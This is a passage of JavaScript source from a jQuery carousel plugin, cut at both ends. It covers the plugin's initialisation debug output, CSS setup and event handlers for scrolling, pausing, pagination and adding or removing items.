= true; if (typeof opts.auto.pauseOnResize != 'boolean') opts.auto.pauseOnResize = true; if (typeof opts.auto.pauseDuration != 'number') opts.auto.pauseDuration = (opts.auto.duration < 10) ? 2500 : opts.auto.duration * 5; if (opts.synchronise) { opts.synchronise = cf_getSynchArr(opts.synchronise); } if (conf.debug) { debug(conf, 'Carousel width: '+opts.width); debug(conf, 'Carousel height: '+opts.height); if (opts.maxDimention) debug(conf, 'Available '+opts.d['width']+': '+opts.maxDimention); debug(conf, 'Item widths: '+opts.items.width); debug(conf, 'Item heights: '+opts.items.height); debug(conf, 'Number of items visible: '+opts.items.visible); if (opts.auto.play) debug(conf, 'Number of items scrolled automatically: '+opts.auto.items); if (opts.prev.button) debug(conf, 'Number of items scrolled backward: '+opts.prev.items); if (opts.next.button) debug(conf, 'Number of items scrolled forward: '+opts.next.items); } }; // /init $cfs._cfs_build = function() { $cfs.data('cfs_isCarousel', true); var orgCSS = { 'textAlign' : $cfs.css('textAlign'), 'float' : $cfs.css('float'), 'position' : $cfs.css('position'), 'top' : $cfs.css('top'), 'right' : $cfs.css('right'), 'bottom' : $cfs.css('bottom'), 'left' : $cfs.css('left'), 'width' : $cfs.css('width'), 'height' : $cfs.css('height'), 'marginTop' : $cfs.css('marginTop'), 'marginRight' : $cfs.css('marginRight'), 'marginBottom' : $cfs.css('marginBottom'), 'marginLeft' : $cfs.css('marginLeft') }; switch (orgCSS.position) { case 'absolute': var newPosition = 'absolute'; break; case 'fixed': var newPosition = 'fixed'; break; default: var newPosition = 'relative'; } $wrp.css(orgCSS).css({ 'overflow' : 'hidden', 'position' : newPosition }); $cfs.data('cfs_origCss', orgCSS).css({ 'textAlign' : 'left', 'float' : 'none', 'position' : 'absolute', 'top' : 0, 'left' : 0, 'marginTop' : 0, 'marginRight' : 0, 'marginBottom' : 0, 'marginLeft' : 0 }); if (opts.usePadding) { $cfs.children().each(function() { var m = parseInt($(this).css(opts.d['marginRight'])); if (isNaN(m)) m = 0; $(this).data('cfs_origCssMargin', m); }); } }; // /build $cfs._cfs_bind_events = function() { $cfs._cfs_unbind_events(); // stop event $cfs.bind(cf_e('stop', conf), function(e, imm) { e.stopPropagation(); // button if (!crsl.isStopped) { if (opts.auto.button) { opts.auto.button.addClass(cf_c('stopped', conf)); } } // set stopped crsl.isStopped = true; if (opts.auto.play) { opts.auto.play = false; $cfs.trigger(cf_e('pause', conf), imm); } return true; }); // finish event $cfs.bind(cf_e('finish', conf), function(e) { e.stopPropagation(); if (crsl.isScrolling) { sc_stopScroll(scrl); } return true; }); // pause event $cfs.bind(cf_e('pause', conf), function(e, imm, res) { e.stopPropagation(); tmrs = sc_clearTimers(tmrs); // immediately pause if (imm && crsl.isScrolling) { scrl.isStopped = true; var nst = getTime() - scrl.startTime; scrl.duration -= nst; if (scrl.pre) scrl.pre.duration -= nst; if (scrl.post) scrl.post.duration -= nst; sc_stopScroll(scrl, false); } // update remaining pause-time if (!crsl.isPaused && !crsl.isScrolling) { if (res) tmrs.timePassed += getTime() - tmrs.startTime; } // button if (!crsl.isPaused) { if (opts.auto.button) { opts.auto.button.addClass(cf_c('paused', conf)); } } // set paused crsl.isPaused = true; // pause pause callback if (opts.auto.onPausePause) { var dur1 = opts.auto.pauseDuration - tmrs.timePassed, perc = 100 - Math.ceil( dur1 * 100 / opts.auto.pauseDuration ); opts.auto.onPausePause.call($tt0, perc, dur1); } return true; }); // play event $cfs.bind(cf_e('play', conf), function(e, dir, del, res) { e.stopPropagation(); tmrs = sc_clearTimers(tmrs); // sort params var v = [dir, del, res], t = ['string', 'number', 'boolean'], a = cf_sortParams(v, t); var dir = a[0], del = a[1], res = a[2]; if (dir != 'prev' && dir != 'next') dir = crsl.direction; if (typeof del != 'number') del = 0; if (typeof res != 'boolean') res = false; // stopped? if (res) { crsl.isStopped = false; opts.auto.play = true; } if (!opts.auto.play) { e.stopImmediatePropagation(); return debug(conf, 'Carousel stopped: Not scrolling.'); } // button if (crsl.isPaused) { if (opts.auto.button) { opts.auto.button.removeClass(cf_c('stopped', conf)); opts.auto.button.removeClass(cf_c('paused', conf)); } } // set playing crsl.isPaused = false; tmrs.startTime = getTime(); // timeout the scrolling var dur1 = opts.auto.pauseDuration + del; dur2 = dur1 - tmrs.timePassed; perc = 100 - Math.ceil(dur2 * 100 / dur1); tmrs.auto = setTimeout(function() { if (opts.auto.onPauseEnd) { opts.auto.onPauseEnd.call($tt0, perc, dur2); } if (crsl.isScrolling) { $cfs.trigger(cf_e('play', conf), dir); } else { $cfs.trigger(cf_e(dir, conf), opts.auto); } }, dur2); // pause start callback if (opts.auto.onPauseStart) { opts.auto.onPauseStart.call($tt0, perc, dur2); } return true; }); // resume event $cfs.bind(cf_e('resume', conf), function(e) { e.stopPropagation(); if (scrl.isStopped) { scrl.isStopped = false; crsl.isPaused = false; crsl.isScrolling = true; scrl.startTime = getTime(); sc_startScroll(scrl); } else { $cfs.trigger(cf_e('play', conf)); } return true; }); // prev + next events $cfs.bind(cf_e('prev', conf)+' '+cf_e('next', conf), function(e, obj, num, clb) { e.stopPropagation(); // stopped or hidden carousel, don't scroll, don't queue if (crsl.isStopped || $cfs.is(':hidden')) { e.stopImmediatePropagation(); return debug(conf, 'Carousel stopped or hidden: Not scrolling.'); } // not enough items if (opts.items.minimum >= itms.total) { e.stopImmediatePropagation(); return debug(conf, 'Not enough items ('+itms.total+', '+opts.items.minimum+' needed): Not scrolling.'); } // get config var v = [obj, num, clb], t = ['object', 'number/string', 'function'], a = cf_sortParams(v, t); var obj = a[0], num = a[1], clb = a[2]; var eType = e.type.slice(conf.events.prefix.length); if (typeof obj != 'object' || obj == null) obj = opts[eType]; if (typeof clb == 'function') obj.onAfter = clb; if (typeof num != 'number') { if (opts.items.filter != '*') { num = 'visible'; } else { var arr = [num, obj.items, opts[eType].items]; for (var a = 0, l = arr.length; a < l; a++) { if (typeof arr[a] == 'number' || arr[a] == 'page' || arr[a] == 'visible') { num = arr[a]; break; } } } switch(num) { case 'page': e.stopImmediatePropagation(); return $cfs.triggerHandler(eType+'Page', [obj, clb]); break; case 'visible': if (!opts.items.visibleConf.variable && opts.items.filter == '*') { num = opts.items.visible; } break; } } // resume animation, add current to queue if (scrl.isStopped) { $cfs.trigger(cf_e('resume', conf)); $cfs.trigger(cf_e('queue', conf), [eType, [obj, num, clb]]); e.stopImmediatePropagation(); return debug(conf, 'Carousel resumed scrolling.'); } // queue if scrolling if (obj.duration > 0) { if (crsl.isScrolling) { if (obj.queue) $cfs.trigger(cf_e('queue', conf), [eType, [obj, num, clb]]); e.stopImmediatePropagation(); return debug(conf, 'Carousel currently scrolling.'); } } // test conditions callback if (obj.conditions && !obj.conditions.call($tt0)) { e.stopImmediatePropagation(); return debug(conf, 'Callback "conditions" returned false.'); } tmrs.timePassed = 0; $cfs.trigger('_cfs_triggerEvent', ['slide_'+eType, [obj, num]]); // synchronise if (opts.synchronise) { var s = opts.synchronise, c = [obj, num]; for (var j = 0, l = s.length; j < l; j++) { var d = eType; if (!s[j][1]) c[0] = s[j][0].triggerHandler('_cfs_triggerEvent', ['configuration', [d]]); if (!s[j][2]) d = (d == 'prev') ? 'next' : 'prev'; c[1] = num + s[j][3]; s[j][0].trigger('_cfs_triggerEvent', ['slide_'+d, [c]]); } } return true; }); // prev event $cfs.bind(cf_e('slide_prev', conf), function(e, sO, nI) { e.stopPropagation(); var a_itm = $cfs.children(); // non-circular at start, scroll to end if (!opts.circular) { if (itms.first == 0) { if (opts.infinite) { $cfs.trigger(cf_e('next', conf), itms.total-1); } return e.stopImmediatePropagation(); } } if (opts.usePadding) sz_resetMargin(a_itm, opts); // find number of items to scroll if (typeof nI != 'number') { if (opts.items.visibleConf.variable) { nI = gn_getVisibleItemsPrev(a_itm, opts, itms.total-1); } else if (opts.items.filter != '*') { var xI = (typeof sO.items == 'number') ? sO.items : gn_getVisibleOrg($cfs, opts); nI = gn_getScrollItemsPrevFilter(a_itm, opts, itms.total-1, xI); } else { nI = opts.items.visible; } nI = cf_getAdjust(nI, opts, sO.items, $tt0); } // prevent non-circular from scrolling to far if (!opts.circular) { if (itms.total - nI < itms.first) { nI = itms.total - itms.first; } } // set new number of visible items opts.items.visibleConf.old = opts.items.visible; if (opts.items.visibleConf.variable) { var vI = gn_getVisibleItemsNext(a_itm, opts, itms.total-nI); if (opts.items.visible+nI <= vI && nI < itms.total) { nI++; vI = gn_getVisibleItemsNext(a_itm, opts, itms.total-nI); } opts.items.visible = cf_getItemsAdjust(vI, opts, opts.items.visibleConf.adjust, $tt0); } else if (opts.items.filter != '*') { var vI = gn_getVisibleItemsNextFilter(a_itm, opts, itms.total-nI); opts.items.visible = cf_getItemsAdjust(vI, opts, opts.items.visibleConf.adjust, $tt0); } if (opts.usePadding) sz_resetMargin(a_itm, opts, true); // scroll 0, don't scroll if (nI == 0) { e.stopImmediatePropagation(); return debug(conf, '0 items to scroll: Not scrolling.'); } debug(conf, 'Scrolling '+nI+' items backward.'); // save new config itms.first += nI; while (itms.first >= itms.total) { itms.first -= itms.total; } // non-circular callback if (!opts.circular) { if (itms.first == 0 && sO.onEnd) sO.onEnd.call($tt0); if (!opts.infinite) nv_enableNavi(opts, itms.first, conf); } // rearrange items $cfs.children().slice(itms.total-nI, itms.total).prependTo($cfs); if (itms.total < opts.items.visible + nI) { $cfs.children().slice(0, (opts.items.visible+nI)-itms.total).clone(true).appendTo($cfs); } // the needed items var a_itm = $cfs.children(), c_old = gi_getOldItemsPrev(a_itm, opts, nI), c_new = gi_getNewItemsPrev(a_itm, opts), l_cur = a_itm.eq(nI-1), l_old = c_old.last(), l_new = c_new.last(); if (opts.usePadding) sz_resetMargin(a_itm, opts); if (opts.align) { var p = cf_getAlignPadding(c_new, opts), pL = p[0], pR = p[1]; } else { var pL = 0, pR = 0; } var oL = (pL < 0) ? opts.padding[opts.d[3]] : 0; // hide items for fx directscroll if (sO.fx == 'directscroll' && opts.items.visible < nI) { var hiddenitems = a_itm.slice(opts.items.visibleConf.old, nI), orgW = opts.items[opts.d['width']]; hiddenitems.each(function() { var hi = $(this); hi.data('isHidden', hi.is(':hidden')).hide(); }); opts.items[opts.d['width']] = 'variable'; } else { var hiddenitems = false; } // save new sizes var i_siz = ms_getTotalSize(a_itm.slice(0, nI), opts, 'width'), w_siz = cf_mapWrapperSizes(ms_getSizes(c_new, opts, true), opts, !opts.usePadding); if (hiddenitems) opts.items[opts.d['width']] = orgW; if (opts.usePadding) { sz_resetMargin(a_itm, opts, true); if (pR >= 0) { sz_resetMargin(l_old, opts, opts.padding[opts.d[1]]); } sz_resetMargin(l_cur, opts, opts.padding[opts.d[3]]); } if (opts.align) { opts.padding[opts.d[1]] = pR; opts.padding[opts.d[3]] = pL; } // animation configuration var a_cfs = {}, a_dur = sO.duration; if (sO.fx == 'none') a_dur = 0; else if (a_dur == 'auto') a_dur = opts.scroll.duration / opts.scroll.items * nI; else if (a_dur <= 0) a_dur = 0; else if (a_dur < 10) a_dur = i_siz / a_dur; scrl = sc_setScroll(a_dur, sO.easing); // animate wrapper if (opts[opts.d['width']] == 'variable' || opts[opts.d['height']] == 'variable') { scrl.anims.push([$wrp, w_siz]); } // animate items if (opts.usePadding) { var new_m = opts.padding[opts.d[3]]; if (l_new.not(l_cur).length) { var a_cur = {}; a_cur[opts.d['marginRight']] = l_cur.data('cfs_origCssMargin'); if (pL < 0) l_cur.css(a_cur); else scrl.anims.push([l_cur, a_cur]); } if (l_new.not(l_old).length) { var a_old = {}; a_old[opts.d['marginRight']] = l_old.data('cfs_origCssMargin'); scrl.anims.push([l_old, a_old]); } if (pR >= 0) { var a_new = {}; a_new[opts.d['marginRight']] = l_new.data('cfs_origCssMargin') + opts.padding[opts.d[1]]; scrl.anims.push([l_new, a_new]); } } else { var new_m = 0; } // animate carousel a_cfs[opts.d['left']] = new_m; // onBefore callback var args = [c_old, c_new, w_siz, a_dur]; if (sO.onBefore) sO.onBefore.apply($tt0, args); clbk.onBefore = sc_callCallbacks(clbk.onBefore, $tt0, args); // ALTERNATIVE EFFECTS // extra animation arrays switch(sO.fx) { case 'fade': case 'crossfade': case 'cover': case 'uncover': scrl.pre = sc_setScroll(scrl.duration, scrl.easing); scrl.post = sc_setScroll(scrl.duration, scrl.easing); scrl.duration = 0; break; } // create copy switch(sO.fx) { case 'crossfade': case 'cover': case 'uncover': var $cf2 = $cfs.clone().appendTo($wrp); break; } switch(sO.fx) { case 'uncover': $cf2.children().slice(0, nI).remove(); case 'crossfade': case 'cover': $cf2.children().slice(opts.items.visible).remove(); break; } // animations switch(sO.fx) { case 'fade': scrl.pre.anims.push([$cfs, { 'opacity': 0 }]); break; case 'crossfade': $cf2.css({ 'opacity': 0 }); scrl.pre.anims.push([$cfs, { 'width': '+=0' }, function() { $cf2.remove(); }]); scrl.post.anims.push([$cf2, { 'opacity': 1 }]); break; case 'cover': scrl = fx_cover(scrl, $cfs, $cf2, opts, true); break; case 'uncover': scrl = fx_uncover(scrl, $cfs, $cf2, opts, true, nI); break; } // /ALTERNATIVE EFFECTS // complete callback var a_complete = function() { var overFill = opts.items.visible+nI-itms.total; if (overFill > 0) { $cfs.children().slice(itms.total).remove(); c_old = $( $cfs.children().slice(itms.total-(opts.items.visible-overFill)).get().concat( $cfs.children().slice(0, overFill).get() ) ); } if (hiddenitems) { hiddenitems.each(function() { var hi = $(this); if (!hi.data('isHidden')) hi.show(); }); } if (opts.usePadding) { var l_itm = $cfs.children().eq(opts.items.visible+nI-1); l_itm.css(opts.d['marginRight'], l_itm.data('cfs_origCssMargin')); } scrl.anims = []; if (scrl.pre) scrl.pre = sc_setScroll(scrl.orgDuration, scrl.easing); var fn = function() { switch(sO.fx) { case 'fade': case 'crossfade': $cfs.css('filter', ''); break; } scrl.post = sc_setScroll(0, null); crsl.isScrolling = false; var args = [c_old, c_new, w_siz]; if (sO.onAfter) sO.onAfter.apply($tt0, args); clbk.onAfter = sc_callCallbacks(clbk.onAfter, $tt0, args); if (queu.length) { $cfs.trigger(cf_e(queu[0][0], conf), queu[0][1]); queu.shift(); } if (!crsl.isPaused) $cfs.trigger(cf_e('play', conf)); }; switch(sO.fx) { case 'fade': scrl.pre.anims.push([$cfs, { 'opacity': 1 }, fn]); sc_startScroll(scrl.pre); break; case 'uncover': scrl.pre.anims.push([$cfs, { 'width': '+=0' }, fn]); sc_startScroll(scrl.pre); break; default: fn(); break; } }; scrl.anims.push([$cfs, a_cfs, a_complete]); crsl.isScrolling = true; $cfs.css(opts.d['left'], -(i_siz-oL)); tmrs = sc_clearTimers(tmrs); sc_startScroll(scrl); cf_setCookie(opts.cookie, $cfs.triggerHandler(cf_e('currentPosition', conf))); $cfs.trigger(cf_e('updatePageStatus', conf), [false, w_siz]); return true; }); // next event $cfs.bind(cf_e('slide_next', conf), function(e, sO, nI) { e.stopPropagation(); var a_itm = $cfs.children(); // non-circular at end, scroll to start if (!opts.circular) { if (itms.first == opts.items.visible) { if (opts.infinite) { $cfs.trigger(cf_e('prev', conf), itms.total-1); } return e.stopImmediatePropagation(); } } if (opts.usePadding) sz_resetMargin(a_itm, opts); // find number of items to scroll if (typeof nI != 'number') { if (opts.items.filter != '*') { var xI = (typeof sO.items == 'number') ? sO.items : gn_getVisibleOrg($cfs, opts); nI = gn_getScrollItemsNextFilter(a_itm, opts, 0, xI); } else { nI = opts.items.visible; } nI = cf_getAdjust(nI, opts, sO.items, $tt0); } var lastItemNr = (itms.first == 0) ? itms.total : itms.first; // prevent non-circular from scrolling to far if (!opts.circular) { if (opts.items.visibleConf.variable) { var vI = gn_getVisibleItemsNext(a_itm, opts, nI), xI = gn_getVisibleItemsPrev(a_itm, opts, lastItemNr-1); } else { var vI = opts.items.visible, xI = opts.items.visible; } if (nI + vI > lastItemNr) { nI = lastItemNr - xI; } } // set new number of visible items opts.items.visibleConf.old = opts.items.visible; if (opts.items.visibleConf.variable) { var vI = gn_getVisibleItemsNextTestCircular(a_itm, opts, nI, lastItemNr); while (opts.items.visible-nI >= vI && nI < itms.total) { nI++; vI = gn_getVisibleItemsNextTestCircular(a_itm, opts, nI, lastItemNr); } opts.items.visible = cf_getItemsAdjust(vI, opts, opts.items.visibleConf.adjust, $tt0); } else if (opts.items.filter != '*') { var vI = gn_getVisibleItemsNextFilter(a_itm, opts, nI); opts.items.visible = cf_getItemsAdjust(vI, opts, opts.items.visibleConf.adjust, $tt0); } if (opts.usePadding) sz_resetMargin(a_itm, opts, true); // scroll 0, don't scroll if (nI == 0) { e.stopImmediatePropagation(); return debug(conf, '0 items to scroll: Not scrolling.'); } debug(conf, 'Scrolling '+nI+' items forward.'); // save new config itms.first -= nI; while (itms.first < 0) { itms.first += itms.total; } // non-circular callback if (!opts.circular) { if (itms.first == opts.items.visible && sO.onEnd) sO.onEnd.call($tt0); if (!opts.infinite) nv_enableNavi(opts, itms.first, conf); } // rearrange items if (itms.total < opts.items.visible+nI) { $cfs.children().slice(0, (opts.items.visible+nI)-itms.total).clone(true).appendTo($cfs); } // the needed items var a_itm = $cfs.children(), c_old = gi_getOldItemsNext(a_itm, opts), c_new = gi_getNewItemsNext(a_itm, opts, nI), l_cur = a_itm.eq(nI-1), l_old = c_old.last(), l_new = c_new.last(); if (opts.usePadding) sz_resetMargin(a_itm, opts); if (opts.align) { var p = cf_getAlignPadding(c_new, opts), pL = p[0], pR = p[1]; } else { var pL = 0, pR = 0; } // hide items for fx directscroll if (sO.fx == 'directscroll' && opts.items.visibleConf.old < nI) { var hiddenitems = a_itm.slice(opts.items.visibleConf.old, nI), orgW = opts.items[opts.d['width']]; hiddenitems.each(function() { var hi = $(this); hi.data('isHidden', hi.is(':hidden')).hide(); }); opts.items[opts.d['width']] = 'variable'; } else { var hiddenitems = false; } // save new sizes var i_siz = ms_getTotalSize(a_itm.slice(0, nI), opts, 'width'), w_siz = cf_mapWrapperSizes(ms_getSizes(c_new, opts, true), opts, !opts.usePadding); if (hiddenitems) opts.items[opts.d['width']] = orgW; if (opts.align) { if (opts.padding[opts.d[1]] < 0) { opts.padding[opts.d[1]] = 0; } } if (opts.usePadding) { sz_resetMargin(a_itm, opts, true); sz_resetMargin(l_old, opts, opts.padding[opts.d[1]]); } if (opts.align) { opts.padding[opts.d[1]] = pR; opts.padding[opts.d[3]] = pL; } // animation configuration var a_cfs = {}, a_dur = sO.duration; if (sO.fx == 'none') a_dur = 0; else if (a_dur == 'auto') a_dur = opts.scroll.duration / opts.scroll.items * nI; else if (a_dur <= 0) a_dur = 0; else if (a_dur < 10) a_dur = i_siz / a_dur; scrl = sc_setScroll(a_dur, sO.easing); // animate wrapper if (opts[opts.d['width']] == 'variable' || opts[opts.d['height']] == 'variable') { scrl.anims.push([$wrp, w_siz]); } // animate items if (opts.usePadding) { var l_new_m = l_new.data('cfs_origCssMargin'); if (pR >= 0) { l_new_m += opts.padding[opts.d[1]]; } l_new.css(opts.d['marginRight'], l_new_m); if (l_cur.not(l_old).length) { var a_old = {}; a_old[opts.d['marginRight']] = l_old.data('cfs_origCssMargin'); scrl.anims.push([l_old, a_old]); } var c_new_m = l_cur.data('cfs_origCssMargin'); if (pL >= 0) { c_new_m += opts.padding[opts.d[3]]; } var a_cur = {}; a_cur[opts.d['marginRight']] = c_new_m; scrl.anims.push([l_cur, a_cur]); } // animate carousel a_cfs[opts.d['left']] = -i_siz; if (pL < 0) { a_cfs[opts.d['left']] += pL; } // onBefore callback var args = [c_old, c_new, w_siz, a_dur]; if (sO.onBefore) sO.onBefore.apply($tt0, args); clbk.onBefore = sc_callCallbacks(clbk.onBefore, $tt0, args); // ALTERNATIVE EFFECTS // extra animation arrays switch(sO.fx) { case 'fade': case 'crossfade': case 'cover': case 'uncover': scrl.pre = sc_setScroll(scrl.duration, scrl.easing); scrl.post = sc_setScroll(scrl.duration, scrl.easing); scrl.duration = 0; break; } // create copy switch(sO.fx) { case 'crossfade': case 'cover': case 'uncover': var $cf2 = $cfs.clone().appendTo($wrp); break; } switch(sO.fx) { case 'uncover': $cf2.children().slice(opts.items.visibleConf.old).remove(); break; case 'crossfade': case 'cover': $cf2.children().slice(0, nI).remove(); $cf2.children().slice(opts.items.visible).remove(); break; } // animations switch(sO.fx) { case 'fade': scrl.pre.anims.push([$cfs, { 'opacity': 0 }]); break; case 'crossfade': $cf2.css({ 'opacity': 0 }); scrl.pre.anims.push([$cfs, { 'width': '+=0' }, function() { $cf2.remove(); }]); scrl.post.anims.push([$cf2, { 'opacity': 1 }]); break; case 'cover': scrl = fx_cover(scrl, $cfs, $cf2, opts, false); break; case 'uncover': scrl = fx_uncover(scrl, $cfs, $cf2, opts, false, nI); break; } // /ALTERNATIVE EFFECTS // complete callback var a_complete = function() { var overFill = opts.items.visible+nI-itms.total, new_m = (opts.usePadding) ? opts.padding[opts.d[3]] : 0; $cfs.css(opts.d['left'], new_m); if (overFill > 0) { $cfs.children().slice(itms.total).remove(); } var l_itm = $cfs.children().slice(0, nI).appendTo($cfs).last(); if (overFill > 0) { c_new = gi_getCurrentItems(a_itm, opts); } if (hiddenitems) { hiddenitems.each(function() { var hi = $(this); if (!hi.data('isHidden')) hi.show(); }); } if (opts.usePadding) { if (itms.total < opts.items.visible+nI) { var l_cur = $cfs.children().eq(opts.items.visible-1); l_cur.css(opts.d['marginRight'], l_cur.data('cfs_origCssMargin') + opts.padding[opts.d[3]]); } l_itm.css(opts.d['marginRight'], l_itm.data('cfs_origCssMargin')); } scrl.anims = []; if (scrl.pre) scrl.pre = sc_setScroll(scrl.orgDuration, scrl.easing); var fn = function() { switch(sO.fx) { case 'fade': case 'crossfade': $cfs.css('filter', ''); break; } scrl.post = sc_setScroll(0, null); crsl.isScrolling = false; var args = [c_old, c_new, w_siz]; if (sO.onAfter) sO.onAfter.apply($tt0, args); clbk.onAfter = sc_callCallbacks(clbk.onAfter, $tt0, args); if (queu.length) { $cfs.trigger(cf_e(queu[0][0], conf), queu[0][1]); queu.shift(); } if (!crsl.isPaused) $cfs.trigger(cf_e('play', conf)); }; switch(sO.fx) { case 'fade': scrl.pre.anims.push([$cfs, { 'opacity': 1 }, fn]); sc_startScroll(scrl.pre); break; case 'uncover': scrl.pre.anims.push([$cfs, { 'width': '+=0' }, fn]); sc_startScroll(scrl.pre); break; default: fn(); break; } }; scrl.anims.push([$cfs, a_cfs, a_complete]); crsl.isScrolling = true; tmrs = sc_clearTimers(tmrs); sc_startScroll(scrl); cf_setCookie(opts.cookie, $cfs.triggerHandler(cf_e('currentPosition', conf))); $cfs.trigger(cf_e('updatePageStatus', conf), [false, w_siz]); return true; }); // slideTo event $cfs.bind(cf_e('slideTo', conf), function(e, num, dev, org, obj, dir, clb) { e.stopPropagation(); var v = [num, dev, org, obj, dir, clb], t = ['string/number/object', 'number', 'boolean', 'object', 'string', 'function'], a = cf_sortParams(v, t); var obj = a[3], dir = a[4], clb = a[5]; num = gn_getItemIndex(a[0], a[1], a[2], itms, $cfs); if (num == 0) return; if (typeof obj != 'object') obj = false; if (crsl.isScrolling) { if (typeof obj != 'object' || obj.duration > 0) return false; } if (dir != 'prev' && dir != 'next') { if (opts.circular) { if (num <= itms.total / 2) dir = 'next'; else dir = 'prev'; } else { if (itms.first == 0 || itms.first > num) dir = 'next'; else dir = 'prev'; } } if (dir == 'prev') num = itms.total-num; $cfs.trigger(cf_e(dir, conf), [obj, num, clb]); return true; }); // prevPage event $cfs.bind(cf_e('prevPage', conf), function(e, obj, clb) { e.stopPropagation(); var cur = $cfs.triggerHandler(cf_e('currentPage', conf)); return $cfs.triggerHandler(cf_e('slideToPage', conf), [cur-1, obj, 'prev', clb]); }); // nextPage event $cfs.bind(cf_e('nextPage', conf), function(e, obj, clb) { e.stopPropagation(); var cur = $cfs.triggerHandler(cf_e('currentPage', conf)); return $cfs.triggerHandler(cf_e('slideToPage', conf), [cur+1, obj, 'next', clb]); }); // slideToPage event $cfs.bind(cf_e('slideToPage', conf), function(e, pag, obj, dir, clb) { e.stopPropagation(); if (typeof pag != 'number') pag = $cfs.triggerHandler(cf_e('currentPage', conf)); var ipp = opts.pagination.items || opts.items.visible, max = Math.ceil(itms.total / ipp)-1; if (pag < 0) pag = max; if (pag > max) pag = 0; return $cfs.triggerHandler(cf_e('slideTo', conf), [pag*ipp, 0, true, obj, dir, clb]); }); // jumpToStart event $cfs.bind(cf_e('jumpToStart', conf), function(e, s) { e.stopPropagation(); if (s) s = gn_getItemIndex(s, 0, true, itms, $cfs); else s = 0; s += itms.first; if (s != 0) { while (s > itms.total) s -= itms.total; $cfs.prepend($cfs.children().slice(s, itms.total)); } return true; }); // synchronise event $cfs.bind(cf_e('synchronise', conf), function(e, s) { e.stopPropagation(); if (s) s = cf_getSynchArr(s); else if (opts.synchronise) s = opts.synchronise; else return debug(conf, 'No carousel to synchronise.'); var n = $cfs.triggerHandler(cf_e('currentPosition', conf)), x = true; for (var j = 0, l = s.length; j < l; j++) { if (!s[j][0].triggerHandler(cf_e('slideTo', conf), [n, s[j][3], true])) { x = false; } } return x; }); // queue event $cfs.bind(cf_e('queue', conf), function(e, dir, opt) { e.stopPropagation(); if (typeof dir == 'function') { dir.call($tt0, queu); } else if (is_array(dir)) { queu = dir; } else if (typeof dir != 'undefined') { queu.push([dir, opt]); } return queu; }); // insertItem event $cfs.bind(cf_e('insertItem', conf), function(e, itm, num, org, dev) { e.stopPropagation(); var v = [itm, num, org, dev], t = ['string/object', 'string/number/object', 'boolean', 'number'], a = cf_sortParams(v, t); var itm = a[0], num = a[1], org = a[2], dev = a[3]; if (typeof itm == 'object' && typeof itm.jquery == 'undefined') itm = $(itm); if (typeof itm == 'string') itm = $(itm); if (typeof itm != 'object' || typeof itm.jquery == 'undefined' || itm.length == 0) return debug(conf, 'Not a valid object.'); if (typeof num == 'undefined') num = 'end'; if (opts.usePadding) { itm.each(function() { var m = parseInt($(this).css(opts.d['marginRight'])); if (isNaN(m)) m = 0; $(this).data('cfs_origCssMargin', m); }); } var orgNum = num, before = 'before'; if (num == 'end') { if (org) { if (itms.first == 0) { num = itms.total-1; before = 'after'; } else { num = itms.first; itms.first += itm.length } if (num < 0) num = 0; } else { num = itms.total-1; before = 'after'; } } else { num = gn_getItemIndex(num, dev, org, itms, $cfs); } if (orgNum != 'end' && !org) { if (num < itms.first) itms.first += itm.length; } if (itms.first >= itms.total) itms.first -= itms.total; var $cit = $cfs.children().eq(num); if ($cit.length) { $cit[before](itm); } else { $cfs.append(itm); } itms.total = $cfs.children().length; var sz = $cfs.triggerHandler('updateSizes'); nv_showNavi(opts, itms.total, conf); nv_enableNavi(opts, itms.first, conf); $cfs.trigger(cf_e('linkAnchors', conf)); $cfs.trigger(cf_e('updatePageStatus', conf), [true, sz]); return true; }); // removeItem event $cfs.bind(cf_e('removeItem', conf), function(e, num, org, dev) { e.stopPropagation(); var v = [num, org, dev], t = ['string/number/object', 'boolean', 'number'], a = cf_sortParams(v, t); num = a[0]; org = a[1]; dev = a[2]; var removed = false; if (num instanceof $ && num.length > 1) { $removed = $(); num.each(function(i, el) { var $rem = $cfs.trigger(cf_e('removeItem', conf), [$(this), org, dev]); if ($rem) $removed = $removed.add($rem); }); return $removed; } if (typeof num == 'undefined' || num == 'end') { $removed = $cfs.children().last(); } else { num = gn_getItemIndex(num, dev, org, itms, $cfs); var $removed = $cfs.children().eq(num); if ($removed.length){ if (num < itms.first) itms.first -= $removed.length; } } if ($removed && $removed.length) { $removed.detach(); itms.total = $cfs.children().length; var sz = $cfs.triggerHandler('updateSizes'); nv_showNavi(opts, itms.total, conf); nv_enableNavi(opts, itms.first, conf); $cfs.trigger(cf_e('updatePageStatus', conf), [true, sz]); } return $removed; }); // onBefore and onAfter event $cfs.bind(cf_e('onBefore', conf)+' '+cf_e('onAfter', conf), function(e, fn) { e.stopPropagation(); var eType = e.type.slice(conf.events.prefix.length); if (is_array(fn)) clbk[eType] = fn; if (typeof fn == 'function') clbk[eType].push(fn); return clbk[eType]; }); // currentPosition event $cfs.bind(cf_e('currentPosition', conf), function(e, fn) { e.stopPropagation(); if (itms.first == 0) var val = 0; else var val = itms.total - itms.first; if (typeof fn == 'function') fn.call($tt0, val); return val; }); // currentPage event $cfs.bind(cf_e('currentPage', conf), function(e, fn) { e.stopPropagation(); var ipp = opts.pagination.items || opts.items.visible; var max = Math.ceil(itms.total/ipp-1); if (itms.first == 0) var nr = 0; else if (itms.first < itms.total % ipp) var nr = 0; else if (itms.first == ipp && !opts.circular) var nr = max; else var nr = Math.round((itms.total-itms.first)/ipp); if (nr < 0) nr = 0; if (nr > max) nr = max; if (typeof fn == 'function') fn.call($tt0, nr); return nr; }); // currentVisible event $cfs.bind(cf_e('currentVisible', conf), function(e, fn) { e.stopPropagation(); $i = gi_getCurrentItems($cfs.children(), opts); if (typeof fn == 'function') fn.call($tt0, $i); return $i; }); // slice event $cfs.bind(cf_e('slice', conf), function(e, f, l, fn) { e.stopPropagation(); if (itms.total == 0) return false; var v = [f, l, fn], t = ['number', 'number', 'function'], a = cf_sortParams(v, t); f = (typeof a[0] == 'number') ? a[0] : 0; l = (typeof a[1] == 'number') ? a[1] : itms.total; fn = a[2]; f += itms.first; l += itms.first; while (f > itms.total) { f -= itms.total } while (l > itms.total) { l -= itms.total } while (f < 0) { f += itms.total } while (l < 0) { l += itms.total } var $iA = $cfs.children(); if (l > f) { var $i = $iA.slice(f, l); } else { var $i = $( $iA.slice(f, itms.total).get().concat( $iA.slice(0, l).get() ) ); } if (typeof fn == 'function') fn.call($tt0, $i); return $i; }); // isPaused, isStopped and isScrolling events $cfs.bind(cf_e('isPaused', conf)+' '+cf_e('isStopped', conf)+' '+cf_e('isScrolling', conf), function(e, fn) { e.stopPropagation(); var eType = e.type.slice(conf.events.prefix.length); if (typeof 